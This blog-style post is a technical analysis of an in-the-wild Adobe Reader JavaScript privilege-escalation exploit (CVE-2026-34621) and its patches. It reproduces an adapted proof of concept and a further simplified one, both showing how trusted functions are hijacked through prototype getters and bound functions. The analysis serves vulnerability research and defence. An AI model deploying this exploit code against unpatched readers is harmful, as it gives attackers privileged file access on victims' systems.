As an old and useless fart, news of an Adobe Reader vulnerability exploited in the wild came like a defibrillator to the chest and got the ol' juices flowing again. Here's my take on this bug, and the secrets revealed along the way.
Originally, this analysis was done on the ITW sample mentioned by Haifei, in early April. However, since a PoC has been published, well, it makes for an accessible point of reference. And so we shall base our (abridged) analysis off that script instead. The PoC is heavily influenced by the original sample, including all its quirks, so don't worry about missing out.
Back to the discovery of CVE-2026–34621
Haifei tweeted/blogged on the 7th of April, 2026, that a PDF 0-day had been submitted on the 26th of March to EXPMON, and shared the hash of the sample. Haifei had already highlighted the following in his blog:
Specifically, it calls the "util.readFileIntoStream()" API, allowing it to read arbitrary files (accessible by the sandboxed Reader process) on the local system…
The documentation for the util.readFileIntoStream API's cDIPath parameter mentions the following:
(optional) A device-independent path to an arbitrary file … If not specified, the user is presented with the File Open dialog to locate the file. If the
cDIPathparameter is specified, this method can only be executed in privileged context, during a batch or console event ….
Clearly the exploit does not/will not prompt the user to specify a file via the File Open dialog to choose files to be exfiltrated. Something in the exploit must be manipulating privileges, such that the embedded JavaScript is treated as "high privileged JavaScript". Now, the question to answer would be, how does the exploit obtain these privileges? With this question in mind, let's analyse the publicly available PoC.
Revisiting the PoC
Just for ease of reference, we inline an adaption of the PoC here, mainly stripping out comments and to shorten the code, please refer to the original article for the full PoC including comments.
global.A = () => {
global.B = function(functionRef) {
// [9] Sets stream.read to the bound function which calls
// app.trustedFunction(functionRef)
stream = { 'read': app.trustedFunction.bind(app, functionRef) };
// [8] Defines the crafted ob object
ob = { 'getFullName': SOAP.stringFromStream.bind(SOAP, stream) };
// [7] Object.swConn will return the ob object
Object.prototype.__defineGetter__('swConn', () => { return ob; });
data = { 'WT': '' };
this.dirty = false;
fakeobj = {
// [6] Sets fakeobj.lastIndexOf to the bound function which calls
// app.SilentDocCenterLogin(data, {})
'lastIndexOf': SilentDocCenterLogin.bind(app, data, {}),
// [5] Sets fakeobj.substring to a func that throws an error
'substring': () => { throw Error(''); }
};
// [4] global.path returns fakeobj
this.__defineGetter__('path', () => { return fakeobj; });
// [3] Calling ANShareFile with a crafted object
ANShareFile({ 'doc': eval('this') });
};
};
// [1] JS injection via ANFancyAlertImpl's button argument
buttons = { "a(a(a'); }); global.A(); throw Error('oops'); //": 0 };
try { ANFancyAlertImpl('', [], 0, buttons, 0, 0, 0, 0, 0) } catch (e) {}
// [2] Call into the actual exploit
global.B(global.targetFunction);In a well-crafted exploit, nothing is there by accident, each step exists to bypass a protection, to provide a new primitive, or enable the next step. There are a few curious things to note in this PoC. Let's look at each part in isolation, to understand what is happening, step by step. The numbered sections below map directly to the bracketed numbers in the PoC code above.
Breaking down the exploit
[1] The curious case of JS injection
Kicking off the exploit, the PoC calls ANFancyAlertImpl to inject some JavaScript code.
global.A = () => { global.B = function() {} }
buttons = { "a(a(a'); }); global.A(); throw Error('oops'); //": 0 };
try { ANFancyAlertImpl('', [], 0, buttons, 0, 0, 0, 0, 0) } catch (e) {}Here, the exploit aims to call theglobal.A() function by leveraging the call to ANFancyAlertImpl. To understand how this is happening, we will examine a simplified version of ANFancyAlertImpl.
function ANFancyAlertImpl(..., buttons, ...) {
// buttons = { "a(a(a'); }); global.A(); throw Error('oops'); //": 0 }
// ...
for(var i in buttons)
{
var bc = buttons[i];
// bid = "a(a(a'); }); global.A(); throw Error('oops'); //"
var bid = "btn" + i;
// ...
desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })");
}
// ...
}
// --------------- Analysis below ---------------
//
// Essentially, eval receives the following string:
(function(dialog) { dialog.end('a(a(a'); }); global.A(); throw Error('oops'); //'); })
// This simply calls global.A() within the eval, and throws an exception
// to break out of the function. The global A function simply assigns an
// anonymous function to the variable global.B,
// ie. global.B = function () {...}This roundabout way of defining the function global.B is not clear. What primitive does this step provide? We can do a simple experiment, removing this step from the exploit chain. It turns out that, at least in the latest versions of Adobe Reader DC, this step is not required! The exploit could just have defined global.B in the same manner that it defined global.A.
// The 3 lines of code in the first code snippet of this section becomes
// this single line
global.B = function () {...}This finding also aligns with our analysis of Adobe Reader's implementation of its trust model (discussed later).
Side note: The abuse of eval here could possibly originate from an older exploit / older version of this exploit which was able to leverage this vulnerability on older versions of Adobe Reader. In older versions of Adobe Reader (checked on Adobe Reader 11), eval stack frames are transparent. This means that code executed within eval have the same permissions as the caller function. This could also be why the exploit code is so convoluted. But this is just speculation. is there an older version of this exploit? Another exploit abusing a similar code path? 🤷🏻♂️ We'll never know.
[2] Call into the exploit
Next, the exploit code simply calls the newly defined function, global.B. Within global.B are a bunch of object definitions, which are crafted to mimic the real objects they replace. In our analysis, we will first skip these object definitions and work our way backwards, following the execution of the exploit. The creation of these objects will naturally make sense as we observe the execution of the exploit.
[3] Calling ANShareFile with a crafted object
Next, we skip to looking at the call to ANShareFile.
ANShareFile({ 'doc': eval('this') });Before we even look into the code of ANShareFile, this line already raises some questions. Why use eval('this') ? In this context, the eval returns the global object. The statement above could have been written as follows, and the exploit would still work:
ANShareFile({ 'doc': global });The next question would be, why use the global object? Is there anything special about the global object? We can, again, test this by swapping global with a fakeDoc object, and see that the exploit works just the same. This aligns with Adobe's trust model (more on that later).
Side note: Well, asking the deadly question of : Why was it written this way? led to more digging. It turns out that Adobe had frozen the built in methods, such as
String.prototype.lastIndexOf,String.prototype.substringandObject.prototype.toString. However, we can extend Object.prototype (as evident from the PoC). Of course they have (silly me), else the exploit would be much simpler. Again, did the original author base the exploit off a previous one, that required jumping through such hoops? 🤷🏻♂️ We'll never know.
Now, we shall turn our attention to the ANShareFile function. Analysis comments are inlined within the code.
// props = { doc: global }, see [3]
ANShareFile = app.trustedFunction(function(props)
{
var doc = props.doc; // doc = global
var type = props.type; // type = null
// ...
var data = {};
// doc.path is global.path, which retrieves fakeobj, see [4]
if(doc && doc.path)
{
data.docPath = doc.path; // Essentially data.docPath = fakeobj
data.docName = data.docPath.substring(
// fakeobj.lastIndexOf is a bound function which calls
// app.SilentDocCenterLogin(data, {}), see [6]
data.docPath.lastIndexOf('/') + 1,
data.docPath.length
); // data.docPath.substring throws an error to exit this func, see [5]
// ...
}
// ...
})All this pretty much just sets up a call to app.SilentDocCenterLogin(data, {}).
[6] The call to app.SilentDocCenterLogin
Let's jump straight in to this (now infamous?) function. Analysis is inlined as comments within the JS code below.
function SilentDocCenterLogin (data, connectParams) {
// ...
try {
// Gets privileges
app.beginPriv();
// [10] !!! BUG - Missing 'var' keyword - BUG !!!
swConn = Collab.swConnect(connectParams);
// Because of the missing 'var' keyword, and JS is run in non-strict mode,
// swConn actually attempts to set swConn property on the global object.
// However, because [7] sets a getter to swConn on the object prototype,
// and the global object is also an object, and no setter exists,
// and because JS is executing in non-strict mode this assignment
// actually fails without triggering an exception, and does nothing.
app.endPriv(); // drops privileges
// Now, because [7] sets a getter to swConn on the global object, this
// checks the truthiness of the ob object instead, which the getter
// fetches. See [7]
if (swConn) {
// This retrieves the ob object (as we established prior in [7])
// where ob = { getFullName: SOAP.stringFromStream.bind(SOAP, stream) },
// see [6]
data.swConn = swConn;
app.beginPriv(); // Gets privileges
// ...
// 💥 BOOM EXPLOIT 💥
shareIdentity.FullName = data.swConn.getFullName();
// Here, data.swConn is actually the crafted ob object, see [7, 8].
// ob.getFullName() actually calls a bound function, akin to
// function () { SOAP.stringFromStream(stream) }
// see [8].
//
// The stream variable is defined as
// { read: app.trustedFunction.bind(app, targetFunc) } at [9].
//
// Essentially, the exploit developer found out or intuited that
// SOAP.stringFromStream(stream) will call stream.read() within,
// which is intuitive. stream.read here in turn, calls a bound function
// which is akin to function() { app.trustedFunction(targetFunc) }
// where targetFunc is some arbitrary function, to be marked as a
// trusted function.
// ...
}
else { /* ... */ }
}
// ...
}And there we have it, we got to the exploit, and seen how it marks arbitrary functions as a trusted function. We saw that the point of all of this, is to control the swConn object, and make it call app.trustedFunction on an arbitrary function. Yay! And, with what we now know, we can now further simplify the PoC. Yippie!
var fakeStream = { read: app.trustedFunction.bind(app, targetFn) };
var fakeConn = { getFullName: SOAP.stringFromStream.bind(SOAP, fakeStream) };
var fakeData = { WT: "" };
Object.prototype.__defineGetter__("swConn", function() { return fakeConn; });
var fakeobj = {
lastIndexOf: SilentDocCenterLogin.bind(app, fakeData, {}),
substring: function() { throw new Error(""); }
};
var craftedDoc = {
path: fakeobj,
dirty: false
};
try {
ANShareFile({ doc: craftedDoc });
} catch(e) { }Except, this raises more questions that we now have to answer.

Going crazy going down the rabbit hole
Yes, the obvious bug is the missing var keyword in SilentDocCenterLogin (see [10]). But still, how does it all work?
1 — Why can SilentDocCenterLogin call app.beginPriv()? What makes it special?
2 — What's up with ANShareFile? Why choose this function? Why can't we call SilentDocCenterLogin directly?
3 — What's up with SOAP.stringFromStream? Since we control ob, why not bind ob.getFullName() to call app.trustedFunction()?
4 — Wait, I'm confused, where is the actual vulnerability again? Is the missing var really the vulnerability that allowed for elevation of privilege?
It's a nice feeling to go through the whole exploit, and still not even know what the actual vulnerability is (actually, that's how I always feel — lost).
Rabbit hole of privileges
Getting whipped for spending time looking at this vulnerability at home and at work is no fun, but well, as they say, curiosity got the cat's a** whipped. Oh wait… that's not the saying.
Dive with me into the wonderful world of Adobe Reader's trust model. Adobe Reader embeds an older version of Mozilla's SpiderMonkey as its JavaScript engine, which Adobe extended to support Reader plugins and functionality written in JavaScript. One of this modifications made by Adobe, is to introduce the concept of privileges. Specifically, Adobe introduced secure functions, privileged and non-privileged contexts, and four key APIs to manage privileges, namely app.trustedFunction, app.trustPropagatorFunction, app.beginPriv and app.endPriv.
Secure functions
Secure functions are APIs for sensitive operations such as file I/O and network access. They require the is_privileged flag to be set on the caller's stack frame — calls without this flag will throw an exception.
Privileged and non-privileged execution contexts
Adobe Reader executes JS at various parts of its execution. Some time during Adobe Reader's start up, it executes JS from files in C:\Program Files\Adobe\Reader\Javascripts\ (where all the library functions above were obtained). This is called the Batch\Exec stage, and is a privileged execution context, which allow for secure functions to be executed. Note that no user code is accessible here. After this stage is complete, Adobe Reader (sometime later) transitions to the non-privileged Doc\Exec stage to execute user provided JS within a PDF file.
There are other privileged contexts beyond Batch/Exec, including Console/Exec, App/Init, Internal/Exec, External/Exec and App/Exec. We will touch on some of these contexts later. A full list can be found in the JS API docs.
Privilege Management API — app.trustedFunction
app.trustedFunction tags a function with the trustedFunc mark, which allows it to call secure functions, even when invoked from a non-privileged context such as Doc/Exec.
Privilege Management API — app.trustPropagatorFunction
app.trustPropagatorFunction tags a function with the trustPropagatorFunc tag. These functions are transparent to the checks app.beginPriv() performs, and trust from a trustedFunc simply passes through them. All functions defined in scripts from Adobe's JS directory are tagged with trustPropagatorFunc. So in our case, SilentDocCenterLogin carries the trustPropagatorFunc tag.
Privilege Management API — app.beginPriv and app.endPriv
This function pair sets and unsets the is_privileged flag on the calling stack frame. A stack frame must have this flag set before it can call secure functions, unless the script is already running in a privileged context. Note that the flag is set per stack frame, meaning each sub-function must call app.beginPriv independently to obtain the flag before calling a secure function.
app.beginPriv performs three checks (referred to here as gates) in the following order, before granting the is_privileged flag:
Gate 1: Context Check This gate operates in two modes, selected internally by Adobe — it is not controllable by the user.
The first mode, used by app.beginPriv, first checks if the top JS frame already has the is_privileged flag. If so, the call succeeds immediately. Otherwise, it checks whether the current execution context is one of the privileged contexts: Batch/Exec, Console/Exec, App/Init, Internal/Exec, External/Exec, or App/Exec.
The second mode skips the is_privileged flag check entirely and only checks against the list of privileged contexts. Notably, this mode is used by functions such as app.trustedFunction and app.trustPropagatorFunction.
Gate 2: 🤷🏻♂️ Doesn't seem to concern us for the purposes of this exploit
Gate 3: Stack Walk The call stack is walked frame by frame, starting from the most recent frame. For each frame:
- If the frame is a native frame, it is treated as transparent and the next frame is checked.
- If the frame's function has the
trustedFunctag,app.beginPrivsucceeds and theis_privilegedflag is granted. - If the frame's function has the
trustPropagatorFunctag, the frame is skipped and the next frame is checked. - Otherwise, the request to grant privileges is denied.
The is_privileged flag is removed from the frame when app.endPriv is called.
Yawn, so are we there yet?
Let's see if we can answer the questions we had, with this new context.
1 — Why can SilentDocCenterLogin call app.beginPriv()? What makes it special?
Well,
SilentDocCenterLoginis defined within a script in the Adobe's JS directory, and so it is marked with the trustPropagatorFunc. That is the only thing that is special about it. Based on the three gates above, it cannot successfully callapp.beginPrivalone.
2 — What's up with ANShareFile? Why choose this function? Why can't we call SilentDocCenterLogin directly?
Well, if we look above, we can see ANShareFile defined as
ANShareFile = app.trustedFunction(function(props) {…}). This marksANShareFileas a trusted function, which we now know, can successfully callapp.beginPriv()to obtain theis_privilegedflag. This is where the exploit actually gains its privileges, and it is by design.
3 — What's up with SOAP.stringFromStream? Since we control ob, why not bind ob.getFullName() to call app.trustedFunction()?
Well, it turns out
app.trustedFunctiondoesn't care about theis_privilegedflag. WHAT! ALL THAT WORK FOR NOTHING? Not really. Anyway, back to the question at hand — somehow, somewhere, when theis_privilegedflag is set,SOAP.stringFromStreamactually switches execution context fromDoc/ExectoInternal/Exec, a privileged context, which can callapp.trustedFunction. Well done, to the author for finding this trick!
4 — Wait, I'm confused, where is the actual vulnerability again? Is the missing var really the vulnerability that allowed for elevation of privilege?
From what we have discovered, the real vulnerability is not within
SilentDocCenterLoginat all. The real vulnerability is that through object manipulation, we can manipulate trusted functions to call arbitrary code. Clearly, this is much worse than just a missingvarkeyword. We should ask one more question though…
5 — What is this bind thing I'm seeing? Why does the exploit use it?
That's the right rabbit to chase. Manipulating trusted functions via crafted objects to call arbitrary JS functions is useless — the Gate 3 check will fail, due to an unprivileged, untagged JS function frame on the stack. The trick here is that when a bound function is called, a native frame is inserted on the stack, which is transparent to the Gate 3 stack walk. Gate 3 thus looks up the stack, until it finds
SilentDocCenterLogin, a function tagged with thetrustPropagatorFunctag. It then continues looking up the chain until it findsANShareFile, a function with thetrustedFunctag. And so, the Gate 3 check passes.
How can this be allow?
It turns out that Adobe Reader 11 used to use an older version of Spider Monkey, v1.8, that did not support bind. In Adobe Reader DC, at least the version I looked at, Spider Monkey 24 was used, which now supports bind. Upgrading the JS engine inadvertently opened up a new attack vector, even without changing the rest of the code.
Conditions for a successful exploit
To recap, here are the ingredients we need for a successful exploit:
- A manipulatable trust anchor — A function marked with the trustedFunc tag that is callable from JS within a PDF, that we can hijack using crafted objects.
- A bridge technique — A technique to redirect execution within a trusted function. Here, the big finding was the bind mechanism.
- A sink — A way to obtain the
is_privilegedflag. This is typically a trust anchor which already callsapp.beginPriv()before the point of hijack, or atrustPropagatorFunccallingapp.beginPriv(). - A gadget — A way to perform the malicious action. In this case, a universal gadget is provided, namely
SOAP.stringFromStream.
The initial patch for CVE-2026–34621
All four ingredients are needed for a successful exploit. As mentioned by many other researchers, the initial patch for CVE-2026–34621 added the var keyword to SilentDocCenterLogin. This removes the sink used in the exploit, and thus the exploit fails — an understandable and quick fix for a vulnerability actively exploited in the wild. However, we also know that this is not the root cause of the vulnerability. An attacker just needs to find another sink, and we know all functions defined within the Adobe Reader JS directory can be used as potential sinks.
Subsequent patches for CVE-2026–34622 and CVE-2026–34626
Adobe issued a more comprehensive patch subsequently, removing manipulatable trust anchors and sinks. A combination of type checking in the JS layer, reshuffling some JS code to remove more sinks, and a new EnableJSAccessor feature within the JS engine itself blocks off all (I think) methods of manipulating execution within trusted functions, e.g. __defineGetter__, __defineSetter__, defineProperty, defineProperties and Proxy objects.
What's left of the bug?
Well, I think we've squeezed out most of the juices from this bug. With the latest patches, this class of bugs (famous last words?) should be well and truly dead. I wonder how this bug was discovered, a pretty interesting one at that.